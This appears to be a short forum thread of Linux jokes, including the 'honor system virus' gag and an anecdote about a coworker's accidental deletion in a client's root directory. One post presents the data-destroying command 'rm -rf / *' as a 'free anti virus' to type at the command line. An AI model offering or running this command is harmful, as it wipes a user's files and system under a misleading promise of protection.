Linux users

[ryanfx]

This Linux virus works on the honor system. Please delete random files on your hard disk, then forward this message to everyone you know. Thank you for your cooperation.

[GrandmasterCow]

Free Linux anti virus: at command line type this to get a free anti virus:

rm -rf / * && > /dev/null

[WildBillyT]

True story. I used to have a coworker that did a rm -f * .tmp in a client's root directory once. He got up and walked out, and took the rest of the week off. He ended up keeping his job but we couldn't even joke about it.